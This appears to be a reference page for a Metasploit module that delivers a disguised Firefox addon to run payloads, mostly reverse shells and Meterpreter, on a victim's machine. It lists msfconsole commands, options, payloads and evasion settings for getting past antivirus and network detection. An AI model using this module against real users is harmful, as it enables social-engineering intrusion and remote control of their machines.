Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/browser/firefox_xpi_bootstrapped_addon metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
Module: exploit/multi/browser/firefox_xpi_bootstrapped_addon
Source code: modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb
Disclosure date: 2007-06-27
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Java, Linux, OSX, Solaris, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This exploit dynamically creates a .xpi addon file. The resulting bootstrapped Firefox addon is presented to the victim via a web page. The victim's Firefox browser will pop a dialog asking if they trust the addon. Once the user clicks "install", the addon is installed and executes the payload with full user permissions. As of Firefox 4, this will work without a restart as the addon is marked to be "bootstrapped". As the addon will execute the payload after each Firefox restart, an option can be given to automatically uninstall the addon once the payload has been executed.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/browser/firefox_xpi_bootstrapped_addon
msf exploit(firefox_xpi_bootstrapped_addon) > exploit
Go back to menu.
Msfconsole Usage
Here is how the multi/browser/firefox_xpi_bootstrapped_addon exploit module looks in the msfconsole:
msf6 > use exploit/multi/browser/firefox_xpi_bootstrapped_addon
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/browser/firefox_xpi_bootstrapped_addon) > show info
Name: Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
Module: exploit/multi/browser/firefox_xpi_bootstrapped_addon
Platform: Java, Linux, OSX, Solaris, Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2007-06-27
Provided by:
mihi
joev <[email protected]>
Available targets:
Id Name
-- ----
0 Universal (Javascript XPCOM Shell)
1 Native Payload
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ADDONNAME HTML5 Rendering Enhancements yes The addon name.
AutoUninstall true yes Automatically uninstall the addon after payload execution
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Avoid: 0 characters
Description:
This exploit dynamically creates a .xpi addon file. The resulting
bootstrapped Firefox addon is presented to the victim via a web
page. The victim's Firefox browser will pop a dialog asking if they
trust the addon. Once the user clicks "install", the addon is
installed and executes the payload with full user permissions. As of
Firefox 4, this will work without a restart as the addon is marked
to be "bootstrapped". As the addon will execute the payload after
each Firefox restart, an option can be given to automatically
uninstall the addon once the payload has been executed.
References:
https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions
http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector
Module Options
This is a complete list of options available in the multi/browser/firefox_xpi_bootstrapped_addon exploit:
msf6 exploit(multi/browser/firefox_xpi_bootstrapped_addon) > show options
Module options (exploit/multi/browser/firefox_xpi_bootstrapped_addon):
Name Current Setting Required Description
---- --------------- -------- -----------
ADDONNAME HTML5 Rendering Enhancements yes The addon name.
AutoUninstall true yes Automatically uninstall the addon after payload execution
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Universal (Javascript XPCOM Shell)
Advanced Options
Here is a complete list of advanced options supported by the multi/browser/firefox_xpi_bootstrapped_addon exploit:
msf6 exploit(multi/browser/firefox_xpi_bootstrapped_addon) > show advanced
Module advanced options (exploit/multi/browser/firefox_xpi_bootstrapped_addon):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
JsIdentifiers no Identifiers to preserve for JsObfu
JsObfuscate 0 no Number of times to obfuscate JavaScript
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/browser/firefox_xpi_bootstrapped_addon module can exploit:
msf6 exploit(multi/browser/firefox_xpi_bootstrapped_addon) > show targets
Exploit targets:
Id Name
-- ----
0 Universal (Javascript XPCOM Shell)
1 Native Payload
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/browser/firefox_xpi_bootstrapped_addon exploit:
msf6 exploit(multi/browser/firefox_xpi_bootstrapped_addon) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/firefox/exec normal No Firefox XPCOM Execute Command
1 payload/firefox/shell_bind_tcp normal No Command Shell, Bind TCP (via Firefox XPCOM script)
2 payload/firefox/shell_reverse_tcp normal No Command Shell, Reverse TCP (via Firefox XPCOM script)
3 payload/generic/custom normal No Custom Payload
4 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
5 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
6 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
7 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
Evasion Options
Here is the full list of possible evasion options supported by the multi/browser/firefox_xpi_bootstrapped_addon exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/browser/firefox_xpi_bootstrapped_addon) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to generate the payload.
Here is a relevant code snippet related to the "Failed to generate the payload." error message:
41: def on_request_uri(cli, request)
42: if request.uri.match(/\.xpi$/i)
43: # browser has navigated to the .xpi file
44: print_status("Sending xpi and waiting for user to click 'accept'...")
45: if not xpi = generate_addon_xpi(cli)
46: print_error("Failed to generate the payload.")
47: send_not_found(cli)
48: else
49: send_response(cli, xpi.pack, { 'Content-Type' => 'application/x-xpinstall' })
50: end
51: else
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8910 Merged Pull Request: Use meta redirect instead of JS redirect in 2 modules
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #3736 Merged Pull Request: Revert "Add initial firefox xpi prompt bypass." change to XPI module for Firefox 22-27
- #3172 Merged Pull Request: Add CVE-2014-1510 to firefox_xpi_bootstrapped_addon to bypass the first permission prompt on FF 27
- #2827 Merged Pull Request: Add firefox js xpcom payloads for universal ff shells
- #2781 Merged Pull Request: firefox 5.0 - 15.0.1 chrome privilege execution (CVE-2012-3993 and CVE-2013-1710)
- #2525 Merged Pull Request: Change module boilerplate
- #2417 Merged Pull Request: Prefer Ruby style for single word collections
- #343 Merged Pull Request: Http print standardization
- #323 Merged Pull Request: Add firefox_xpi_bootstrapped_addon exploit
References
- CVE: Not available
- https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions
- http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector
See Also
Check also the following modules related to this module:
- exploit/multi/browser/firefox_escape_retval
- exploit/multi/browser/firefox_jit_use_after_free
- exploit/multi/browser/firefox_pdfjs_privilege_escalation
- exploit/multi/browser/firefox_proto_crmfrequest
- exploit/multi/browser/firefox_proxy_prototype
- exploit/multi/browser/firefox_queryinterface
- exploit/multi/browser/firefox_svg_plugin
- exploit/multi/browser/firefox_tostring_console_injection
- exploit/multi/browser/firefox_webidl_injection
- auxiliary/gather/firefox_pdfjs_file_theft
- exploit/windows/browser/firefox_smil_uaf
- post/multi/gather/firefox_creds
- exploit/firefox/local/exec_shellcode
- payload/firefox/exec
- payload/firefox/shell_bind_tcp
- payload/firefox/shell_reverse_tcp
- post/firefox/gather/cookies
- post/firefox/gather/history
- post/firefox/gather/passwords
- post/firefox/gather/xss
- post/firefox/manage/webcam_chat
- exploit/windows/browser/mozilla_firefox_onreadystatechange
- exploit/windows/browser/mozilla_firefox_xmlserializer
Authors
- mihi
- joev
Version
This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.